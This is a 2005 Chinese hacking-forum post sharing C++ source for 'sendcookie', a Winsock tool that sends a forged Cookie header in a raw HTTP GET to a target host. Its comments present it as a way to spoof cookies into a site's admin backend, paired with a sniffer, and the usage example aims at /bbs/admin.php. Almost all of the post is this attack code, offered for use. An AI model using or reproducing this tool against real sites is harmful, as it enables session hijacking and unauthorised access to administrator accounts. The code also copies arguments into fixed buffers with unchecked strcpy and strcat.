|
荣誉会员
  
E.S.T论坛贵宾 - 帖子
- 593
- 精华
- 41
- 积分
- 4641
- 阅读权限
- 100
- 性别
- 男
- 在线时间
- 478 小时
- 注册时间
- 2004-11-20
- 最后登录
- 2008-8-30
|
楼主
大 中
小 发表于 2005-1-19 17:45 只看该作者
[原创]cookie欺骗 sendcookie.cpp
文章作者:swords[E.S.T]
信息来源:邪恶八进制 中国
原代码: http://wmjie.51.net/swords/nettools/sendcookie.cpp引用:/**************************************************************
* File: sendcookie.cpp
* 描述:send cookie to remote host
* 伪造cookie进行后台的cookie欺骗
* 可以结合sniffer使用。。。
* 作者:SworDs
* 校正:云舒
* 致谢:恶猫
* 日期:2005-1-19
* mailto:swords@eviloctal.com
* url: http://wmjie.51.net/swords
***************************************************************/
////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
////////////////////////////////////////////////////////////////////////////////
//全局函数定义
////////////////////////////////////////////////////////////////////////////////
//检查并获取命令行参数
void CheckPra(int argc,char *argv[]);
//输出帮助函数
void Usage(char *);
////////////////////////////////////////////////////////////////////////////////
//定义全局变量
////////////////////////////////////////////////////////////////////////////////
char ip[64] = { 0 };
int port = 0;
char url[128] = { 0 };//接收cookie的网址
char cookie[1024] = { 0 };
////////////////////////////////////////////////////////////////////////////////
//主函数
////////////////////////////////////////////////////////////////////////////////
int main( int argc , char *argv[] )
{
WSADATA wsa;
SOCKET sock;
sockaddr_in sin;
int ret;
char sendBuffer[1024*4] = { 0 };
char recvbuf[1024*10] = { 0 };
CheckPra( argc , argv );
if( WSAStartup(0x0202,&wsa) != 0 )
{
printf( "WSAStartup failed with error:%d\n" , GetLastError() );
return -1;
}
memset( &sin , 0 , sizeof(sin) );
sin.sin_family=AF_INET;
if( inet_addr(ip) != INADDR_NONE )
{
sin.sin_addr.s_addr = inet_addr(ip);
}
else
{
struct hostent *phost = gethostbyname(ip);
if( phost == NULL )
{
printf( "Resolve %s error!\n" , ip );
return -1;
}
memcpy( &sin.sin_addr , phost->h_addr_list[0] , phost->h_length );
}
sin.sin_port = htons(port);
sprintf( sendBuffer , "GET %s HTTP/1.1\n" , url );
sprintf( sendBuffer + strlen(sendBuffer) , "Accept: */*\n" );
sprintf( sendBuffer + strlen(sendBuffer) , "Content-Type: application/x-www-form-urlencoded\n" );
sprintf( sendBuffer + strlen(sendBuffer) , "HOST: %s\n",ip);
sprintf( sendBuffer + strlen(sendBuffer) , "Connection: Keep-Alive\n");
sprintf( sendBuffer + strlen(sendBuffer) , "Cookie: %s\n\n" , cookie);
sock = socket( AF_INET , SOCK_STREAM , 0 );
if( sock == INVALID_SOCKET )
{
printf("Socket() failed with error:%d\n",GetLastError());
return -1;
}
printf("State:Connecting...\n");
ret = connect( sock , (struct sockaddr*)&sin , sizeof(sin) );
if( ret == SOCKET_ERROR )
{
printf( "Connect() failed with error:%d\n",GetLastError() );
return -1;
}
printf("State:Connected!\n");
printf("State:Sending cookie...\n");
ret = send( sock , sendBuffer , strlen(sendBuffer)+1 , 0 );
if( ret > 0 )
{
printf("Send success!\n");
}
else
{
printf("Send error!\n");
return -1;
}
ret = recv( sock , recvbuf , sizeof(recvbuf) , 0 );
if( strstr(recvbuf,"200") )
{
printf("sendcookie success!\n\n");
}
else
{
printf("sendcookie false!\n\n");
}
closesocket(sock);
WSACleanup();
return 1;
}
////////////////////////////////////////////////////////////////////////////////
//输出帮助函数
////////////////////////////////////////////////////////////////////////////////
void Usage(char *programName)
{
printf( "-------------------------------------------------------------------\n" );
printf( "Usage:%s ip port page cookie\n" , programName);
printf( "Code by SworDs--http://wmjie.51.net/swords\n" );
printf( "Ex:%s 10.10.0.49 80 /bbs/admin.php cookie\n" , programName );
printf( "-------------------------------------------------------------------\n" );
}
////////////////////////////////////////////////////////////////////////////////
//检查命令行参数函数
////////////////////////////////////////////////////////////////////////////////
void CheckPra(int argc,char *argv[])
{
int tmp;
if( argc < 5 )
{
Usage(argv[0]);
exit(-1);
}
strcpy( ip , argv[1] );
port = atoi( argv[2] );
strcpy( url , argv[3] );
strcpy( cookie , argv[4] );
if( argc > 5 )
{
for( tmp = 5 ; tmp < argc ; tmp++ )
{
strcat( cookie , argv[tmp] );
}
}
}
附件
-
sendcookie.rar
(25 KB)
-
2005-1-19 17:45, 下载次数: 66
QQ:838468959
|